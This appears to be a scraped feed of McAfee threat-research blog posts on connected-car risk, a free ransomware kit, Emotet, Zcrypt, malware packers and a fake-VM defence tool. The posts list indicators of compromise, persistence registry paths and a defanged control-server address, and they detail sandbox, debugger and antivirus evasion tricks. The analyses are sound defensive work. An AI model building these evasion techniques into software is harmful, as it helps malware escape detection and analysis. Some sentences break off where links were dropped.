Vehicle-to-vehicle (V2V) technology allows communications between vehicles on the road, using a wireless network. This technology can aid security on the road by reducing a car’s speed when another vehicle is too close, for example. It can also communicate with road sign devices (vehicle to infrastructure). That transmitted information improves the driving experience as well as the security. Now imagine this vector invaded by destructive malware. If the V2V system becomes a vector, a malicious actor could create malware to infect many connected cars. This sounds like a sci-fi scenario, right? Yet it is not, if we compare this possibility with recent threats such as WannaCry or NotPetya that targeted computers with destructive malware. It is not hard to predict such a nightmare scenario.


Connected cars are taking over the roads and will radically change how we move about. By enhancing the customer experience, the automotive and the tech industries will provide exciting new services. Nonetheless, we need to consider the potential risks, with security implemented sooner rather than later. Some of the scenarios in this post are already used in the wild; others could happen sooner than we expect.


The post Today’s Connected Cars Vulnerable to Hacking, Malware appeared first on McAfee Blogs.

]]> 2
Free Ransomware Available on Dark Web Fri, 16 Feb 2018 19:31:15 +0000 The McAfee Advanced Threat Research team recently analyzed a ransomware-as-a-service threat that is available for free and without registration. This malware was first seen in July 2017 with the extension .shifr. It has now appeared in recent detections with the extension .cypher. Ransomware-as-a-Service Ransomware-as-a-service is a cybercrime economic model that allows malware developers to earn money […]

The post Free Ransomware Available on Dark Web appeared first on McAfee Blogs.

The McAfee Advanced Threat Research team recently analyzed a ransomware-as-a-service threat that is available for free and without registration. This malware was first seen in July 2017 with the extension .shifr. It has now appeared in recent detections with the extension .cypher.


Ransomware-as-a-service is a cybercrime economic model that allows malware developers to earn money for their creations without the need to distribute their threats. Nontechnical criminals buy their wares and launch the infections, while paying the developers a percentage of their take. The developers run relatively few risks, and their customers do most of the work.

Some ransomware-as-a-service, such as RaaSberry, use subscriptions while others require registration to gain access to the ransomware. The ransomware developer hosts a service on the “dark web” that allows any buyer to create and modify the malware. For example, the buyer can add custom ransom notes and the amount of the payment. More advanced services offer features such as evasion techniques to avoid detection and analysis. The service can also offer a control server with an administration panel to manage each victim. This system is convenient for both the developer, who makes money by selling malware, and for buyers, who gain ready-to-deploy ransomware without needing any specific coding knowledge.

The underground economy behind this service is well organized, effectively offering a cybercrime infrastructure. Basically, the ransomware is available on a website. The buyer sets up the ransomware by adding a wallet address. The ransomware is then available to download. The buyer just needs to customize and spread the malware. When a victim pays the ransom, a percentage is delivered both to the buyer and to the malware coder.


The ransomware is available on the TOR network at hxxp://kdvm5fd6tn6jsbwh.onion. A web page guides buyers through the configuration process.

On the configuration page, a generic XMPP address suggests we may have found a demo version of the ransomware.

On the page, the buyer need only to add a Bitcoin wallet address and the amount of the ransom. Once that is done, the malware is generated and can be downloaded. With this malware, the developer earns a 10% commission on every payment. Now let’s look at the malware sample.

Dynamic Analysis 

When the malware launches on the victim’s system, it checks for an Internet connection. If there is none, it exits the process. Otherwise, it contacts the following addresses to download the encryption key:

Once the file is running, it creates several files on the system:

  • Encryption_key: the RSA key encrypted in AES
  • Lock_file: an indicator that the system is encrypted
  • Uuid_file: a reference for the infected machine. A TOR address is generated with this ID.

The encryption key is downloaded from hxxps://

The ransom note is created on the desktop.

The file “HOW_TO_DECRYPT_FILES.html” gives a link to the TOR network.

Once the files are encrypted, the ransom note is displayed in HTML and points to the TOR site hxxp://kdvm5fd6tn6jsbwh.onion/ with the ID of the infected machine.

Allegedly after payment, the victim can download the file decrypter.exe and unlock encrypted files, which have the extension .cypher.

The malware encrypts the following file extensions:

The targeted extensions include many picture and photography files related to Canon, Kodak, Sony, and others. There are also extensions for AutoCAD, Autodesk projects, scalable vector images, and Microsoft Office files. These files are mostly used by designers, photographers, architect—and many others.

Digging Deeper

The malware runs on 64-bit systems and is coded in Golang (“Go language,” from Google), a programming language similar to C with some improvements in error management. It is not common to find malware using Golang, although this is not the first time that we have analyzed such malware. This threat is pretty big compared with most other malware, larger than 5.5MB. The file size can make analysis more difficult and can also help evade hardcoded antimalware file-inspection sizes.

Reverse engineering in Golang is a bit different than other languages. Golang binaries are usually bigger than other executables. (By default, the compiler statically links the program’s libraries, resulting a bigger file.)

A drawback for attackers is that such big binaries can be easily detected on a corporate network. Large files are “noisier” and may appear suspicious when arriving from an external source. They can also be less convenient for attackers to deal with because they can make the infection process more difficult.

The first interesting function to analyze in a Golang binary is the “main_main.” The malware starts by gathering environment variables. It then checks whether the file “lock_file” exists in the directory C:\Users\<username>\AppData\Roaming.

The function “main_Exists” will check for the file. If it does not exist, the malware exits the process.

If the file does exist, the malware downloads the public key from the control server.

The malware contacts the address  hxxps://kdvm5fd6tn6jsbwh.onion/new_c/<nameofmalware>. The encryption public key is stored directly on the website.

This address is generated when the buyer creates the ransomware on the developer’s web page; thus the same malware encrypts files with the same public key.

The malware generates the AES key and tries to find any network share by querying the letters.

This function tries to find network shares:

Before a file is encrypted, the malware creates another file in C:\Users\<username>\AppData\Roaming\uuid_file to use as a victim identifier.

The malware encrypts the files using AES and deletes them after encryption with the function “os.remove” to avoid any simple forensic recovery.

The decrypter, which can be downloaded, works in a similar way but it requests the private key that the victims must pay for at hxxps:// The mechanism behind the encryption routine seems to be on the online server and the decryption key cannot be easily recovered.

The following information describes the decrypter.


Cybercrime-as-a-service is not new, yet it is now more widespread than ever. In this case, the malware is available for free but the ransomware developer earns a 10% fee from each victim who pays a ransom. The use of Golang is not common for malware. Most ransomware-as-a-service is not free, which could indicate this might be a demonstration version, or a proof of concept for future sale.

This malware is not advanced and was coded without evasion techniques, such as DGA, SSL for control, encryption, or even file compression. Looking at the targeted file extensions suggests the victims can range from general home or business users to the graphics industry. Although such malware is not difficult to analyze, it can be very destructive in a corporate environment.

Keep in mind that paying a ransom is no guarantee of receiving a decryption key. McAfee advises that you never pay a ransom. You can find further information and help on unlocking some ransomware threats at

McAfee detects this threat as Ransomware-FPDS!0F8CCEE515B8.


Indicators of Compromise


  • cb73927aa749f88134ab7874b15df898c014a35d519469f59b1c85d32fa69357
  • 0622fcb172773d8939b451c43902095b0f91877ae05e562c60d0ca0c237a2e9c

IP address:

  • hxxp://kdvm5fd6tn6jsbwh.onion

Files created:

  • C:\Users\<username>\AppData\Roaming\uuid_file
  • C:\Users\<username>\AppData\Roaming\lock_file
  • C:\Users\<username>\AppData\Roaming\encryption_key
  • C:\Users\< username >\Desktop\HOW_TO_DECRYPT_FILES.html

Encryption extension:

  • .cypher



The post Free Ransomware Available on Dark Web appeared first on McAfee Blogs.

]]> 0
Emotet Trojan Acts as Loader, Spreads Automatically Fri, 01 Sep 2017 17:00:36 +0000 Since the middle of July, McAfee has observed new updates of the Emotet, a Trojan that was first discovered in 2014. This malware harvests banking credentials. Early variants used Outlook contact harvesting to spread via malicious spam. The latest variants act as loaders and use several mechanisms to spread over the network and send spam […]

The post Emotet Trojan Acts as Loader, Spreads Automatically appeared first on McAfee Blogs.

Since the middle of July, McAfee has observed new updates of the Emotet, a Trojan that was first discovered in 2014. This malware harvests banking credentials. Early variants used Outlook contact harvesting to spread via malicious spam.

The latest variants act as loaders and use several mechanisms to spread over the network and send spam email. They also use techniques to bypass antimalware products and avoid detection. Initial infection vectors are emails containing a link to download a malicious Office document. Once a system is infected, Emotet collects the computer name and running process information, which are encrypted and sent to a control server via a Post request.

Emotet updates itself with the latest version from the server, and attempts to download additional malware, such as Dridex (banking malware). The banking malware is designed to harvest banking credentials by installing a malicious component into the web browser. It also uses evasion techniques such as “atom bombing” to inject malicious code.

The following illustration shows how Emotet works:


The initial infection vector of Emotet is a malicious Office document containing an obfuscated macro that runs a PowerShell script to download the payload.

Additional information can be found here:

Details of our analyzed sample.

The malware uses several mechanisms to stay persistent and undetected. It unpacks itself directly into memory and drops malicious files in the system. Emotet acts as a loader and can enable several modules. During our analysis, we saw the following:

  • Worm module via brute-force attack to spread over the network.
  • Dropping malware.
  • Sending spam with compromised emails to spread around the world.
  • Updating main file to bypass antimalware signatures.

These modules are enabled by the control server and allow the attackers to perform malicious actions on infected machines.

The malware contains an icon that can be identified on infected machines. We saw several updates to the icon during the campaign:

Emotet malware icons.

Once the malware is running, it is unpacked several times into memory. This process allows the malware to bypass antimalware detection before runtime. The following screenshot shows the unpacking process.

Unpacking at runtime.

The malware changes its name to avoid detection once it has infected a system. In this case the malware used certtask.exe. Each infected machine could have a different name.

Emotet uses several mechanisms to stay persistent, allowing it to run after each reboot. It also creates a service to run the malicious file. Early variants created scheduled tasks.

Run key.

Emotet employs a control server to communicate with infected machines and send the stolen credentials:

Control server connection.

The malware updates itself by sending a Post request and showing a 404 error from the server to fool analysts.

A Post request.

The control server address changed throughout the campaign.


Worm module

We found that Emotet uses a worm module to spread on the network. It brute-force attacks an account to break the password and copy itself on a network share.

A brute-force attack. The malware attempts to connect to specific users.


Spam module

Emotet spreads by email from compromised accounts. The attackers can remotely activate the spam module, which dynamically uses the credentials to send email:


Spam module.


Evasion tricks

The sample arrives packed and runs several processes to unpack its content. By tracking the VirtualAlloc API, we can follow the dump of an unpacked version into memory.

Dumping the unpacked executable into memory.

The dumped executable is a file that runs without an import address table to avoid static analysis. All the functions are resolved dynamically when the sample runs.

Dynamic API resolution.

The sample creates a mutex as an infection marker to detect if the machine is already infected.

Creating a mutex to match the filename emo.bin.

The malware uses a different mutex, generated with the filename during execution, to avoid any possible vaccine. The mutex is always the same if the filename does not change.

The following example shows a different mutex name with a different filename:

Creating a mutex to match the filename emoo2.exe.

To detect any debugging, Emotet employs the undocumented function NtSetInformationProcess:

Emotet creates a suspended process to unpack. If the debugger is detected, the malware terminates the suspended process; otherwise it continues the execution and infects the system.



Emotet has evolved to take advantage of several evasions, persistence, and spreading techniques. It also downloads additional malware to harvest banking credentials and take other actions.

The spreading techniques on the local network seem to have come from lessons learned from the WannaCry and (Not)Petya outbreaks to increase the rates of infection. We can expect to see more weaponized lateral movements in the future.

The author thanks @tehsyntx and @_remixed for their help with this analysis.


Indicators of Compromise


  • C:\Windows\System32\<randomnumber>\
  • C:\Windows\System32\tasks\<randomname>
  • C:\Windows\\<randomname>
  • C:\users\<myusers>\appdata\roaming\<random>
  • %appdata%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
  • <Randomname>.LNK. file in the startup folder

Registry keys

  • HKLM\System\CurrentControlSet\Services “RandomNumbers”
  • HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run “RandomNames” with value c:\users\admin\appdata\roaming\<random>\<legitfile>.exe

IP addresses

  • Canada
  • Germany
  • Germany
  • Germany
  • Germany
  • Germany
  • Germany
  • Germany
  • France
  • France
  • France
  • France
  • France
  • United Kingdom
  • Italy
  • Netherlands
  • Netherlands
  • Poland
  • Thailand
  • United States
  • United States
  • United States
  • United States
  • United States
  • United States
  • United States
  • United States
  • United States
  • United States
  • United States
  • United States
  • United States


  • 752c5a1fb7a0e6681639fa737e73ae6aa3a0f3b7973fe3fd59b4b2014bbcd9c2
  • 76f4c1f1fda795e5b0a00be3833787c568cacf5ec6ea3275dc1e6ec2a4e282a0
  • cc73d5d14ff263f5a364d53d70a3dbc0a5ccddcfbfc325b4912cf00717c62271
  • 8c610977850dae5f3369865ed1583167556e0fa544b2de651c4ac217621d2dea
  • 9ccbdf2fb651fd46b4ac4437e71f89ddbfbc94d2018e871ccc534746f74e88eb
  • 881c5a483e9766e641437df6b2dfa79960ae353b9a90407b6ebf6ae33498edd8
  • 163278f8c95d8fcaa824f5d5903b54f72d1601d0f3b89e1203ebcc5b688d98ed
  • 4bae21211ad857bb303f32e278776d6540e9ae478e3bf5b697ae46575e4234d0
  • a730e696d2c956041fe914565e1a18e0ca7f6817b5490881236b66167578f5f8
  • b4bc52aabe484d4e77589cfce9cc3cb44b2af313545b8d95a130cfd0be6a8681
  • 3eab67208efa7a6f6f6b8bb0fd7640c2e981e44a822363974e4c2f17ced35cea
  • 95dd3200bdcd9c9c52a0e2a0b72ce16fd36679a1591a743bb22c50f0bb69bd43
  • 8cc5ab5f131ea2026d3bf5cafd8bfc0bcd4ce49dc8fed20dcdaa88e6026814b4
  • cc73d5d14ff263f5a364d53d70a3dbc0a5ccddcfbfc325b4912cf00717c62271
  • 163278f8c95d8fcaa824f5d5903b54f72d1601d0f3b89e1203ebcc5b688d98ed
  • a730e696d2c956041fe914565e1a18e0ca7f6817b5490881236b66167578f5f8
  • d038914f2aad2a34c7b2ea196a2f528d4f38b8b6cd2954d248a366b231a34989
  • aeb990c5c0cd43c39acef20ad7abaaf608f75c06128948e4a322299b88182e86

The post Emotet Trojan Acts as Loader, Spreads Automatically appeared first on McAfee Blogs.

]]> 0
Malware Packers Use Tricks to Avoid Analysis, Detection Wed, 17 May 2017 05:29:18 +0000 Malware authors use a number of tricks to avoid detection and analysis. One of the most popular methods is to employ a packer, a tool that compresses, encrypts, and/or modifies a malicious file’s format. (Packers can also be used for legitimate ends, for example, to protect a program against cracking or copying.) All these tricks […]

The post Malware Packers Use Tricks to Avoid Analysis, Detection appeared first on McAfee Blogs.

Malware authors use a number of tricks to avoid detection and analysis. One of the most popular methods is to employ a packer, a tool that compresses, encrypts, and/or modifies a malicious file’s format. (Packers can also be used for legitimate ends, for example, to protect a program against cracking or copying.) All these tricks decrease the chance of detection by antimalware products and help to avoid analysis by security researchers.

Packers can both make it harder for security staff to identify the behavior of malware and increase the amount of time required for an analysis. Unpacking malware is the first challenge to understanding a threat. The complexity of packers varies.


Types of packers

A packer can act simply as armor to protect the binary. It is more convenient for attackers to use a packer rather than to directly implement protection inside the code. Advanced malware coded by organized cybercriminal groups, however, employ custom packers or implement complex protection inside malicious files.

For packers that encrypt or compress a file, a stub (a piece of code that contains the decompression or decryption routine) acts as a loader, which executes before the malware.

A packer compresses or encrypts data. The original file is passed in the packer routine and stored in a packed section in the new .exe. Once the file is running, the decompression stub stored in the packed file will decompress the packed section. The original .exe file is then loaded into memory.

In these cases the original entry point, the memory address where the program starts, is relocated in the packed section. The analyst has to retrieve it to recover the original file.

Other packers act as a proxy and protect the import address table (IAT). The IAT references functions that are used by a program and are available by the Windows API. During runtime the IAT is resolved dynamically and used by the program when necessary. This protection increases the difficulty of unpacking the malware. Indeed, a memory dump does not work because the IAT is not complete. Without the IAT, it is more difficult to correctly analyze malware because it cannot be properly disassembled.

A packer obfuscating an API. The packer stub acts as a proxy and intercepts every call to the API. The call is translated from the API to the stub and is run by the payload.

In such cases, a malware analyst must fix the import by locating the function and tracing the return routine. A stub redirects the execution to the original API. In some cases, the address of the API is located in the EIP register.

Still other techniques virtualize the code and emulate the behavior of a processor to run the original file. This technique adds an abstraction layer between the executed code and its behavior. The original code is translated in the byte code of the virtual machine. This technique is one of the most difficult to analyze.

A code virtualization packer. The original file shows x86 assembly when reversed. Once the file is protected, the reversed code will be in the virtual machine’s byte code.

To remove this kind of protection, a malware analyst must study the behavior and the byte code of the virtual software to retrieve and analyze the original file.

Other packers will combine techniques such as anti-debugging or anti-sandbox and add more functions to protect the malware. Some malware use several layers to protect themselves against detection and analysis. To analyze them we must remove each layer until we recover the original file. The fastest recovery technique is to run the malware and dump it directly from memory. This can be difficult because some packers add antidumping tricks.

Packers remain an effective way to slow down analysis and decrease detection by antimalware products. They are also the favorite tool of attackers for protecting malware. Nevertheless, manual analysis usually defeats packers.

The post Malware Packers Use Tricks to Avoid Analysis, Detection appeared first on McAfee Blogs.

]]> 0
Stopping Malware With a Fake Virtual Machine Thu, 19 Jan 2017 19:51:00 +0000 As we explained in a previous post, some advanced malware can detect a virtual environment such as a sandbox to avoid detection and analysis. Some threats can also detect monitoring tools used for malware analysis. Often such malware will not execute or change their behavior to appear harmless. Because some malware uses these tactics, planting […]

The post Stopping Malware With a Fake Virtual Machine appeared first on McAfee Blogs.

As we explained in a previous post, some advanced malware can detect a virtual environment such as a sandbox to avoid detection and analysis. Some threats can also detect monitoring tools used for malware analysis. Often such malware will not execute or change their behavior to appear harmless. Because some malware uses these tactics, planting fake virtual machine artefacts or fake analysis tools on a system could stop their malicious behavior. We have created a quick proof of concept (POC) to demonstrate this defensive tactic.

Some malware use a mutex or registry key to avoid re-infecting a machine. For example, a previous version of Locky used a registry key with the string “locky” to check if the machine was already infected. This variant also used a basic check to verify if the local language was Russian; if it was, the ransomware did not infect the machine. With this kind of information, security analysts can proactively configure these artefacts to boost protection against some malicious software.

The following diagram illustrates this concept:

20170118 Roccia fake vm 1


Proof of concept functions

Sandboxes and virtual environments are full of artefacts that betray their analysis environment. Malware can protect itself against these by running some checks to detect such environments before performing any malicious actions. Our POC will reproduce a virtual environment on a normal user machine. It is available at

Creating fake registry keys

A lot of registry keys are created by specific tools or by sandbox emulation. Using the Windows API RegCreateKeyEx we can create all the (fake) keys normally created by a virtual hypervisor.

The following list shows of few of the potential registry keys that malware can detect:

  • HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0\“Identifier”;“VMWARE”
  • HKLM\SOFTWARE\VMware, Inc.\VMware Tools
  • HKLM\HARDWARE\Description\System\ “SystemBiosVersion”;”VMWARE”
  • HKLM\HARDWARE\Description\System\”SystemBiosVersion”;VBOX
  • HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions

The following function explains in more detail the registry key creation process:

HKEY_LOCAL_MACHINE, // registry key
RegValuePath[i], // subkey
0, // reserved and must be 0
NULL, // class type of the key
REG_OPTION_NON_VOLATILE, // keep the key after reboot
KEY_WRITE, // registry key security and access right
NULL, // security attributes
&hKey, // handle to the opened key
NULL) // determine weither the key exists or not


Other API functions are used to set a value on a previously created key (RegOpenKeyEx, RegSetValueEx).

Creating fake processes

The hypervisor runs several processes in the virtual machine to perform actions and ensure compatibility with the host machine. For example, VirtualBox uses several processes on a machine that can be spotted by malware.

The following list shows processes created by VirtualBox:

  • exe
  • exe
  • exe

The function CreateProcess can be used to load a fake process into memory:

ProcessName[i], // name of the fake process
NULL, // additional command line
NULL, // security attributes
NULL, // security attributes
FALSE, // handle are not inherited
CREATE_SUSPENDED, // create the process in suspended mode to avoid resource consumption
NULL, // pointer to the environment block
NULL, // specific directory for the file
&si, // startup info
&pi) // process info


Creating fake files

Malware can also try to detect the presence of any files related to virtual environments. A lot of driver or DLL files are created by the hypervisor.

The following list shows a short extract of potential virtual files:

  • C:\\WINDOWS\system32\drivers\VBoxMouse.sys
  • C:\\WINDOWS\system32\vboxhook.dll
  • C:\\WINDOWS\system32\vboxdisp.dll
  • C:\\Windows\system32\drivers\vmmouse.sys
  • C:\\system32\drivers\vmhgfs.sys

The function CreateFile can be used to create fake files on the system:

fname[i],// open file
GENERIC_WRITE, // open for writing
0, // do not share
NULL, // default security
OPEN_ALWAYS, // open or create
NULL) == INVALID_HANDLE_VALUE) // no attribute template


Creating a fake MAC address

VirtualBox and VMware use default MAC addresses on virtual machines. The VirtualBox default address uses the first three bytes 08:00:27. The VMware default address uses the first three bytes 00:0C:29, 00:1C:14, 00:50:56, or 00:05:69. Malware can detect these MAC addresses by requesting the following registry key:



Proof of Concept

We have tested some samples with “VM aware” capabilities with our tool. In each case the malware did not run and the machine was not infected.

The tool Pafish, an open-source project, uses similar tricks as malware to identify virtual environments. We used Pafish to observe the difference between a normal machine and a machine set up with our tool emulating a virtual machine.

The following screenshot shows the output of Pafish with few detections of a virtual environment:

20170118 Roccia fake vm 2

After running our tool, we can clearly see the differences in detection.

20170118 Roccia fake vm 3

On the left we see the output of RocProtect, our proof of concept, which created fake artefacts on the machine. On the right we see the output of Pafish that shows us the number of detections.

Malware is constantly becoming more advanced. Analysis and detection are become harder and very time consuming. This proof of concept introduces a different way to protect against malware infections by emulating a virtual environment. Of course, this tool cannot replace a real security application, but it can complement your defenses. Sometimes we need to try different tactics to fight malware.

The post Stopping Malware With a Fake Virtual Machine appeared first on McAfee Blogs.

]]> 0
An Overview of Malware Self-Defense and Protection Mon, 19 Dec 2016 22:43:33 +0000 Many malware authors spend a great deal of time and effort to develop complex code. Their success depends on a threat’s remaining undetected and avoiding sandbox analysis, antivirus efforts, or malware analysts. This post offers an overview of the mechanisms used by malware to evade detection. If malware is detected quickly, it has little time […]

The post An Overview of Malware Self-Defense and Protection appeared first on McAfee Blogs.

Many malware authors spend a great deal of time and effort to develop complex code. Their success depends on a threat’s remaining undetected and avoiding sandbox analysis, antivirus efforts, or malware analysts. This post offers an overview of the mechanisms used by malware to evade detection.

If malware is detected quickly, it has little time to steal data or to maximize its impact. The IT security market has matured and security tools and applications are today more efficient. However, attackers understand and monitor the operations of security tools. In addition, organizations do not always follow best practices. Antimalware tools are sometimes outdated, and sandboxes can easily be detected due to misconfiguration.

Malware self-defense

Malware can use several mechanisms to avoid detection and analysis. We can classify these techniques into three categories:

  • Anti-security tools: Used to avoid detection by antivirus, firewall, and other tools that protect the environment.
  • Anti-sandbox: Used to detect automatic analysis and avoid engines that report on the behavior of malware.
  • Anti-analyst: Used to detect and fool malware analysts. For example, spotting monitoring tools such as Process Explorer or Wireshark, as well as some process-monitoring tricks or packers, to avoid reverse engineering.

Some malware techniques are common to these three categories. Malware can use a technique like RunPE (which runs another process of itself in memory), to evade antivirus software, a sandbox or an analyst.

Sandbox evasion

Sandboxes are an effective tool to quickly detect and understand malware; however, it is relatively trivial for malware to detect a sandbox if it is not hardened. Malware can perform several basic checks:

  • MAC address detection: Virtual environments such as VMware or VirtualBox use known MAC addresses. This address is often stored in the registry at (HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}\0000\NetworkAddress). The malware can detect this two ways, either by requesting the Hive key or using the GetAdapterInfo API.
    DWORD GetAdaptersInfo(
              _Out_   PIP_ADAPTER_INFO pAdapterInfo,
              _Inout_ PULONG                   pOutBufLen
  • Process discovery: Malware may be able to detect whether there are any running processes related to a sandbox. For example, processes such as VmwareService.exe can be easily detected with the CreateToolHelp32Snapshot API, to get a snapshot of the current running processes, and then list each process of the snapshot with the APIs Process32First and Process32Next.
    HANDLE WINAPI CreateToolhelp32Snapshot(  
              _In_ DWORD dwFlags,  
              _In_ DWORD th32ProcessID
    BOOL WINAPI Process32First(  
              _In_    HANDLE           hSnapshot,  
              _Inout_ LPPROCESSENTRY32 lppe
    BOOL WINAPI Process32Next(  
              _In_  HANDLE           hSnapshot,  
              _Out_ LPPROCESSENTRY32 lppe
  • Registry detection: Virtual environments create registry keys on the system that can be detected by malware. Following we see an incomplete list of the registry keys that malware can check:
    “HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 0\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0”
    “SOFTWARE\\VMware, Inc.\\VMware Tools”
    “SOFTWARE\\Oracle\\VirtualBox Guest Additions”

Malware can also perform some advanced techniques to detect a sandbox:

  • Checking hook function: A hook is basically a technique to alter the behavior of an internal function of an operating system or an application. Sandboxes use hook techniques to alter the behavior of a sample; for example, by hooking the DeleteFile function, malware will try to delete a file that will be intercepted by the sandbox. These kinds of function are located in a specific place in memory (kernel land).

Malware can detect a hook by checking the address of the calling function. For example, if the returned address is not located in the kernel, the function is currently hooked.

Malware can use other techniques such as checking the size of the hard drive or using special instructions to detect specific registers (“Red Pill” or “No Pill” techniques). These techniques are based on the fact that registers are unique in a machine and have to be relocated on a virtual environment.

Antivirus evasion

Antivirus tools use three basic functions: signatures, scanner, heuristics.

  • Evading signatures can be performed by changing the hash of the sample, which is as easy as changing only one byte in the executable.
  • Evading a scanner can be performed by creating a big file to confuse the emulator.
  • Evading heuristic analysis is more complex, but can be performed by hooking back functions.

Another way to evade antivirus tools is for the malware to disable the tool or add an exception. Polymorphic codes are particularly difficult to detect.


Malware analysts often have to dig deep during code analysis. Antidebugging is another malware technique for avoiding reverse engineering by a debugger. It is relatively trivial to detect the presence of a debugger using the Windows API.

  • IsDebuggerPresent: This function checks a specific flag in the process environment block for the field IsDebugged, which will return zero if the process is not running in a debugger or a nonzero if a debugger is attached.
    BOOL WINAPI IsDebuggerPresent(void);
  • FindWindow: This function can search for windows by name or class (for example, OllyDbg). This function can also detect tools such as Wireshark or Process Explorer.
    HWND WINAPI FindWindow(  
              _In_opt_ LPCTSTR lpClassName,  
              _In_opt_ LPCTSTR lpWindowName
  • CsrGetProcessId: This function can find the process ID of csrss.exe, a system process. By default, a process has the SeDebugPrivilege privilege in the access token disabled. However, when the process is loaded by a debugger such as OllyDbg or WinDbg, the SeDebugPrivilege privilege is enabled. If a process can open csrss.exe, it means that the process has the privilege SeDebugPrivilege enabled in the access token, thus suggesting that the process is being debugged.


Anti-disassembly is another technique to avoid analysis through reverse engineering. There are many ways to hinder a disassembler:

  • API obfuscation can hide a call to a special function. The result could be a call without the name of the API function, for example. The analyst has to reverse it to understand which function was used. This takes time.
  • Inserting junk code: Junk code can be inserted into the malware to fool analysts into wasting time trying to reverse unusable code. The junk code does not change the behavior of the sample because this code is never executed.

The “Unprotect Project”

There are many ways to avoid malware analysis. Some open projects list these techniques. The Unprotect Project is an open wiki that collects and lists malware protection and self-defense techniques. The project includes a mind map that lists techniques for a better understanding of malware protection capabilities.

The goal of this project is to help the community better understand techniques used by malware to stay undetected, bypass security protection, and avoid analysis. The following categories appear on the website:

  • Sandbox evasion techniques: To evade sandboxes analysis.
  • Antivirus evasion techniques: To evade detection by antivirus.
  • Anti-debugging techniques: To fool debuggers and avoid analysis.
  • Anti-disassembly: To avoid reverse engineering and understand the behavior of malware with a disassembling tool.
  • Process tricks: To hide the malware processes on the system and stay undetected.
  • Obfuscation and data encoding: To hide data or part of code in the malware.
  • Packers: To protect malware code and add other evasion capabilities.

The wiki is updated continuously.


Malware is constantly growing smarter and evolving techniques to stay undetected. Understanding these techniques and sharing the experiences of the information security community are effective ways to fight malware.


The post An Overview of Malware Self-Defense and Protection appeared first on McAfee Blogs.

]]> 0
Zcrypt Expands Reach as ‘Virus Ransomware’ Wed, 08 Jun 2016 18:45:21 +0000 McAfee has recently seen a new kind of ransomware–Zcrypt—that can self-replicate. This “virus ransomware” arrives via email in a malicious attachment or by usurping an Adobe Flash Player installation. The malware copies itself onto removable drives to infect other machines. Zcrypt uses the Nullsoft Scriptable Install System, which works like a Zip file, decompressing and […]

The post Zcrypt Expands Reach as ‘Virus Ransomware’ appeared first on McAfee Blogs.

McAfee has recently seen a new kind of ransomware–Zcrypt—that can self-replicate. This “virus ransomware” arrives via email in a malicious attachment or by usurping an Adobe Flash Player installation. The malware copies itself onto removable drives to infect other machines.

Zcrypt uses the Nullsoft Scriptable Install System, which works like a Zip file, decompressing and loading the content while running.


Summary of original Zcrypt file.

If we take a look at the resource, we can see some information related to the installer. The following window, extracted from the resource viewer, is related to the installer, but when the sample runs no window appears.


Resource information for Zcrypt file.

Using a simple unzip tool, we can see the content of the file.


Extracted content of Zcrypt ransomware.

The files contained in the original sample:

  • $PLUGINSDIR contains the system.dll file related to the Nullsoft engine.
  • cCS file read by the DLL before to run the final payload
  • 9 file read by the DLL before to run the final payload.
  • dll is the malicious DLL that runs the final payload.

DLL analysis

SetCursor.dll is loaded by the installer. The following screenshot gives us some information about this DLL:


Summary information for SetCursor.dll.

We can also see that the compilation date is not correct and indicate a very old file (1970).

The metadata of the file is related to the tool TortoisePlink and the icon of the sample is related to the software Putty.


Metadata for SetCursor.dll.

The sample uses obfuscation to hide its behavior and to avoid the analysis. The export table is completely obfuscated and cannot be read statically.


Extract of obfuscated export table.


The sample creates a registry run key and a LNK file in the startup folder for persistency. It calculates an MD5 sum of the string (computer name @ user name) and saves it in cid.ztxt. Then it drops both public and private keys and queries a remote IP to register the infected machine. Once the machine is registered, the malware starts to encrypt the files with the Zcrypt extension. Once the encryption is finished, it drops an HTML file on the desktop, downloads a PNG ransom message from, and the Bitcoin address to pay the ransom.

Once the sample is running, it creates or queries the following registry keys:

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run\zcrypt
  • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Applications\zcrypt.exe
  • HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Compatibility32\zcrypt
  • HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\zcrypt.exe
  • HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom\zcrypt.exe
  • HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths\zcrypt.exe
  • HKCU\Software\Classes\AppID\zcrypt.exe
  • HKLM\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom\zcrypt.exe

And creates these files:

  • C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\zcrypt.lnk
  • C:\Users\<username>\AppData\Roaming\zcrypt.exe
  • C:\Users\<username>\AppData\Roaming\cid.ztxt
  • C:\Users\<username>\AppData\Local\Temp\nsr76A8.tmp
  • C:\Users\<username>\AppData\Local\Temp\nsr76A9.tmp\System.dll
  • C:\Users\<username>\AppData\Local\Temp\nsm3B6D.tmp
  • C:\Users\<username>\AppData\Local\Temp\nsm3B6E.tmp
  • C:\Users\<username>\AppData\Local\Temp\nsm3B6E.tmp\System.dll
  • C:\Users\<username>\AppData\Roaming\Coalfish.cCS
  • C:\Users\<username>\AppData\Roaming\Relay.9
  • C:\Users\<username>\AppData\Roaming\SetCursor.dll
  • C:\Users\<username>\Desktop\SetCursor.DLL
  • C:\Windows\System32\SetCursor.DLL
  • C:\Windows\system\SetCursor.DLL
  • C:\Windows\SetCursor.DLL
  • C:\Users\<username>\Desktop\zcrypt.exe.Local
  • C:\Users\<username>\AppData\Roaming\public.key
  • C:\Users\<username>\AppData\Roaming\private.key

Network connection

The sample makes the following requests to the site (

Public-key request:

Private-key request:

Bitcoin address request:
Connection: Keep-Alive

PNG ransom message request:

After a successful infection, victims see the ransom message:


The Zcrypt HTML ransom message.


The PNG ransom message.

Digging deeper

To further analyze Zcrypt, we changed the characteristic field on the sample to load it into OllyDbg as a normal executable. The DLL uses multiple WriteProcessMemory functions to write the payload into the memory space. (For more, see
